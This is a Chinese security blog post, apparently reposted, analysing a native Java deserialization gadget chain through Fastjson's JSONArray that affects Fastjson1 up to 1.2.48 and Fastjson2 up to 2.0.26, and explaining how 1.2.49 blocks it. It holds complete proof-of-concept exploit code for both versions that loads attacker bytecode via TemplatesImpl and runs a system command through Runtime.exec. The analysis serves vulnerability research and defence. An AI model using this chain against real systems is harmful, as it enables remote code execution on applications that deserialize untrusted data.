FastJson与原生反序列化-​影响Fastjson1 小于等于(1.2.48),Fastjson2 小于等于(2.0.26)

admin 2024年2月28日10:42:00评论10 views字数 11163阅读37分12秒阅读模式

FastJson与原生反序列化-​影响Fastjson1 小于等于(1.2.48),Fastjson2 小于等于(2.0.26)

FastJson与原生反序列化

前言

这其实是我很早前遇到的一个秋招面试题,问题大概是如果你遇到一个较高版本的FastJson有什么办法能绕过AutoType么?我一开始回答的是找黑名单外的类,后面面试官说想考察的是FastJson在原生反序列化当中的利用。因为比较有趣加上最近在网上也看到类似的东西,今天也就顺便在肝毕设之余来谈谈这个问题。

利用与限制

  • Fastjson1版本小于等于1.2.48

  • Fastjson2目前通杀(目前最新版本2.0.26)

寻找

既然是与原生反序列化相关,那我们去fastjson包里去看看哪些类继承了Serializable接口即可,最后找完只有两个类,JSONArray与JSONObject,这里我们就挑第一个来讲(实际上这两个在原生反序列化当中利用方式是相同的)

首先我们可以在IDEA中可以看到,虽然JSONArray有implement这个Serializable接口但是它本身没有实现readObject方法的重载,并且继承的JSON类同样没有readObject方法,那么只有一个思路了,通过其他类的readObject做中转来触发JSONArray或者JSON类当中的某个方法最终实现串链

在Json类当中的toString方法能触发toJsonString的调用,而这个东西其实我们并不陌生,在我们想用JSON.parse()触发get方法时,其中一个处理方法就是用JSONObject嵌套我们的payload

FastJson与原生反序列化-​影响Fastjson1 小于等于(1.2.48),Fastjson2 小于等于(2.0.26)

那么思路就很明确了,触发toString->toJSONString->get方法

如何触发getter方法

这里多提一句为什么能触发get方法调用

因为是toString所以肯定会涉及到对象中的属性提取,fastjson在做这部分实现时,是通过ObjectSerializer类的write方法去做的提取

FastJson与原生反序列化-​影响Fastjson1 小于等于(1.2.48),Fastjson2 小于等于(2.0.26)

这部分流程是先判断serializers这个HashMap当中有无默认映射

FastJson与原生反序列化-​影响Fastjson1 小于等于(1.2.48),Fastjson2 小于等于(2.0.26)

我们可以来看看有哪些默认的映射关系

private void initSerializers() {        this.put((Type)Boolean.class, (ObjectSerializer)BooleanCodec.instance);        this.put((Type)Character.class, (ObjectSerializer)CharacterCodec.instance);        this.put((Type)Byte.class, (ObjectSerializer)IntegerCodec.instance);        this.put((Type)Short.class, (ObjectSerializer)IntegerCodec.instance);        this.put((Type)Integer.class, (ObjectSerializer)IntegerCodec.instance);        this.put((Type)Long.class, (ObjectSerializer)LongCodec.instance);        this.put((Type)Float.class, (ObjectSerializer)FloatCodec.instance);        this.put((Type)Double.class, (ObjectSerializer)DoubleSerializer.instance);        this.put((Type)BigDecimal.class, (ObjectSerializer)BigDecimalCodec.instance);        this.put((Type)BigInteger.class, (ObjectSerializer)BigIntegerCodec.instance);        this.put((Type)String.class, (ObjectSerializer)StringCodec.instance);        this.put((Type)byte[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);        this.put((Type)short[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);        this.put((Type)int[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);        this.put((Type)long[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);        this.put((Type)float[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);        this.put((Type)double[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);        this.put((Type)boolean[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);        this.put((Type)char[].class, (ObjectSerializer)PrimitiveArraySerializer.instance);        this.put((Type)Object[].class, (ObjectSerializer)ObjectArrayCodec.instance);        this.put((Type)Class.class, (ObjectSerializer)MiscCodec.instance);        this.put((Type)SimpleDateFormat.class, (ObjectSerializer)MiscCodec.instance);        this.put((Type)Currency.class, (ObjectSerializer)(new MiscCodec()));        this.put((Type)TimeZone.class, (ObjectSerializer)MiscCodec.instance);        this.put((Type)InetAddress.class, (ObjectSerializer)MiscCodec.instance);        this.put((Type)Inet4Address.class, (ObjectSerializer)MiscCodec.instance);        this.put((Type)Inet6Address.class, (ObjectSerializer)MiscCodec.instance);        this.put((Type)InetSocketAddress.class, (ObjectSerializer)MiscCodec.instance);        this.put((Type)File.class, (ObjectSerializer)MiscCodec.instance);        this.put((Type)Appendable.class, (ObjectSerializer)AppendableSerializer.instance);        this.put((Type)StringBuffer.class, (ObjectSerializer)AppendableSerializer.instance);        this.put((Type)StringBuilder.class, (ObjectSerializer)AppendableSerializer.instance);        this.put((Type)Charset.class, (ObjectSerializer)ToStringSerializer.instance);        this.put((Type)Pattern.class, (ObjectSerializer)ToStringSerializer.instance);        this.put((Type)Locale.class, (ObjectSerializer)ToStringSerializer.instance);        this.put((Type)URI.class, (ObjectSerializer)ToStringSerializer.instance);        this.put((Type)URL.class, (ObjectSerializer)ToStringSerializer.instance);        this.put((Type)UUID.class, (ObjectSerializer)ToStringSerializer.instance);        this.put((Type)AtomicBoolean.class, (ObjectSerializer)AtomicCodec.instance);        this.put((Type)AtomicInteger.class, (ObjectSerializer)AtomicCodec.instance);        this.put((Type)AtomicLong.class, (ObjectSerializer)AtomicCodec.instance);        this.put((Type)AtomicReference.class, (ObjectSerializer)ReferenceCodec.instance);        this.put((Type)AtomicIntegerArray.class, (ObjectSerializer)AtomicCodec.instance);        this.put((Type)AtomicLongArray.class, (ObjectSerializer)AtomicCodec.instance);        this.put((Type)WeakReference.class, (ObjectSerializer)ReferenceCodec.instance);        this.put((Type)SoftReference.class, (ObjectSerializer)ReferenceCodec.instance);        this.put((Type)LinkedList.class, (ObjectSerializer)CollectionCodec.instance);    }

这里面基本上没有我们需要的东西,唯一熟悉的就是MiscCodec(提示下我们fastjson加载任意class时就是通过调用这个的TypeUtils.loadClass),但可惜的是他的write方法同样没有什么可利用的点,再往下去除一些不关键的调用栈,接下来默认会通过createJavaBeanSerializer来创建一个ObjectSerializer对象

FastJson与原生反序列化-​影响Fastjson1 小于等于(1.2.48),Fastjson2 小于等于(2.0.26)

它会提取类当中的BeanInfo(包括有getter方法的属性)并传入createJavaBeanSerializer继续处理

public final ObjectSerializer createJavaBeanSerializer(Class<?> clazz) {    SerializeBeanInfo beanInfo = TypeUtils.buildBeanInfo(clazz, (Map)null, this.propertyNamingStrategy, this.fieldBased);    return (ObjectSerializer)(beanInfo.fields.length == 0 && Iterable.class.isAssignableFrom(clazz) ? MiscCodec.instance : this.createJavaBeanSerializer(beanInfo));}

这个方法也最终会将二次处理的beaninfo继续委托给createASMSerializer做处理,而这个方法其实就是通过ASM动态创建一个类(因为和Java自带的ASM框架长的很“相似”所以阅读这部分代码并不复杂)

FastJson与原生反序列化-​影响Fastjson1 小于等于(1.2.48),Fastjson2 小于等于(2.0.26)

getter方法的生成在com.alibaba.fastjson.serializer.ASMSerializerFactory#generateWriteMethod当中

它会根据字段的类型调用不同的方法处理,这里我们随便看一个(以第一个_long为例)

FastJson与原生反序列化-​影响Fastjson1 小于等于(1.2.48),Fastjson2 小于等于(2.0.26)

通过_get方法生成读取filed的方法

FastJson与原生反序列化-​影响Fastjson1 小于等于(1.2.48),Fastjson2 小于等于(2.0.26)

这里的fieldInfo其实就是我们一开始的有get方法的field的集合

FastJson与原生反序列化-​影响Fastjson1 小于等于(1.2.48),Fastjson2 小于等于(2.0.26)

private void _get(MethodVisitor mw, ASMSerializerFactory.Context context, FieldInfo fieldInfo) {        Method method = fieldInfo.method;        if (method != null) {            mw.visitVarInsn(25, context.var("entity"));            Class<?> declaringClass = method.getDeclaringClass();            mw.visitMethodInsn(declaringClass.isInterface() ? 185 : 182, ASMUtils.type(declaringClass), method.getName(), ASMUtils.desc(method));            if (!method.getReturnType().equals(fieldInfo.fieldClass)) {                mw.visitTypeInsn(192, ASMUtils.type(fieldInfo.fieldClass));            }        } else {            mw.visitVarInsn(25, context.var("entity"));            Field field = fieldInfo.field;            mw.visitFieldInsn(180, ASMUtils.type(fieldInfo.declaringClass), field.getName(), ASMUtils.desc(field.getType()));            if (!field.getType().equals(fieldInfo.fieldClass)) {                mw.visitTypeInsn(192, ASMUtils.type(fieldInfo.fieldClass));            }        }    }

因此能最终调用方法的get方法

这里做个验证,这里我们创建一个User类,其中只有username字段有get方法

public class User {    public String username;    public String password;    public String getUsername() {        return username;    }}

在asm最终生成code的bytes数据写入文件

FastJson与原生反序列化-​影响Fastjson1 小于等于(1.2.48),Fastjson2 小于等于(2.0.26)

可以看到在write方法当中password因为没有get方法所以没有调用getPassword,而username有所以调用了

FastJson与原生反序列化-​影响Fastjson1 小于等于(1.2.48),Fastjson2 小于等于(2.0.26)

组合利用链

既然只能触发get方法的调用那么很容易想到通过触发TemplatesImpl的getOutputProperties方法实现加载任意字节码最终触发恶意方法调用

而触发toString方法我们也有现成的链,通过BadAttributeValueExpException触发即可

因此我们很容易写出利用链子

fastjson1

Maven依赖

<project xmlns="http://maven.apache.org/POM/4.0.0"         xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"         xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd">    <modelVersion>4.0.0</modelVersion>    <groupId>xibt</groupId>    <artifactId>com.xibt</artifactId>    <version>0.0.1-SNAPSHOT</version>    <name>Proxy</name>    <dependencies>        <dependency>            <groupId>org.javassist</groupId>            <artifactId>javassist</artifactId>            <version>3.19.0-GA</version> <!-- 或者其他版本 -->        </dependency>        <!-- https://mvnrepository.com/artifact/com.alibaba/fastjson -->        <dependency>            <groupId>com.alibaba</groupId>            <artifactId>fastjson</artifactId>            <version>1.2.48</version>        </dependency>        <dependency>            <groupId>com.alibaba.fastjson2</groupId>            <artifactId>fastjson2</artifactId>            <version>2.0.26</version>        </dependency>    </dependencies></project>
import com.alibaba.fastjson.JSONArray;import javax.management.BadAttributeValueExpException;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;public class Test {    public static void setValue(Object obj, String name, Object value) throws Exception{        Field field = obj.getClass().getDeclaredField(name);        field.setAccessible(true);        field.set(obj, value);    }    public static void main(String[] args) throws Exception{        ClassPool pool = ClassPool.getDefault();        CtClass clazz = pool.makeClass("a");        CtClass superClass = pool.get(AbstractTranslet.class.getName());        clazz.setSuperclass(superClass);        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);        constructor.setBody("Runtime.getRuntime().exec("open -na Calculator");");        clazz.addConstructor(constructor);        byte[][] bytes = new byte[][]{clazz.toBytecode()};        TemplatesImpl templates = TemplatesImpl.class.newInstance();        setValue(templates, "_bytecodes", bytes);        setValue(templates, "_name", "y4tacker");        setValue(templates, "_tfactory", null);        JSONArray jsonArray = new JSONArray();        jsonArray.add(templates);        BadAttributeValueExpException val = new BadAttributeValueExpException(null);        Field valfield = val.getClass().getDeclaredField("val");        valfield.setAccessible(true);        valfield.set(val, jsonArray);        ByteArrayOutputStream barr = new ByteArrayOutputStream();        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);        objectOutputStream.writeObject(val);        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));        Object o = (Object)ois.readObject();    }}

fastjson2

import javax.management.BadAttributeValueExpException;import java.io.ByteArrayInputStream;import java.io.ByteArrayOutputStream;import java.io.ObjectInputStream;import java.io.ObjectOutputStream;import java.lang.reflect.Field;import com.alibaba.fastjson2.JSONArray;import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;import javassist.ClassPool;import javassist.CtClass;import javassist.CtConstructor;import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;public class Test {    public static void setValue(Object obj, String name, Object value) throws Exception{        Field field = obj.getClass().getDeclaredField(name);        field.setAccessible(true);        field.set(obj, value);    }    public static void main(String[] args) throws Exception{        ClassPool pool = ClassPool.getDefault();        CtClass clazz = pool.makeClass("a");        CtClass superClass = pool.get(AbstractTranslet.class.getName());        clazz.setSuperclass(superClass);        CtConstructor constructor = new CtConstructor(new CtClass[]{}, clazz);        constructor.setBody("Runtime.getRuntime().exec("open -na Calculator");");        clazz.addConstructor(constructor);        byte[][] bytes = new byte[][]{clazz.toBytecode()};        TemplatesImpl templates = TemplatesImpl.class.newInstance();        setValue(templates, "_bytecodes", bytes);        setValue(templates, "_name", "y4tacker");        setValue(templates, "_tfactory", null);        JSONArray jsonArray = new JSONArray();        jsonArray.add(templates);        BadAttributeValueExpException val = new BadAttributeValueExpException(null);        Field valfield = val.getClass().getDeclaredField("val");        valfield.setAccessible(true);        valfield.set(val, jsonArray);        ByteArrayOutputStream barr = new ByteArrayOutputStream();        ObjectOutputStream objectOutputStream = new ObjectOutputStream(barr);        objectOutputStream.writeObject(val);        ObjectInputStream ois = new ObjectInputStream(new ByteArrayInputStream(barr.toByteArray()));        Object o = (Object)ois.readObject();    }}

FastJson与原生反序列化-​影响Fastjson1 小于等于(1.2.48),Fastjson2 小于等于(2.0.26)

为什么fastjson1的1.2.49以后不再能利用

从1.2.49开始,我们的JSONArray以及JSONObject方法开始真正有了自己的readObject方法

FastJson与原生反序列化-​影响Fastjson1 小于等于(1.2.48),Fastjson2 小于等于(2.0.26)

在其SecureObjectInputStream类当中重写了resolveClass,在其中调用了checkAutoType方法做类的检查

FastJson与原生反序列化-​影响Fastjson1 小于等于(1.2.48),Fastjson2 小于等于(2.0.26)

作者:Y4tacker

原文链接:

https://y4tacker.github.io/2023/03/20/year/2023/3/FastJson%E4%B8%8E%E5%8E%9F%E7%94%9F%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96/

原文始发于微信公众号(Ots安全):FastJson与原生反序列化-​影响Fastjson1 小于等于(1.2.48),Fastjson2 小于等于(2.0.26)

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年2月28日10:42:00
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   FastJson与原生反序列化-​影响Fastjson1 小于等于(1.2.48),Fastjson2 小于等于(2.0.26)http://cn-sec.com/archives/2532439.html

发表评论

匿名网友 填写信息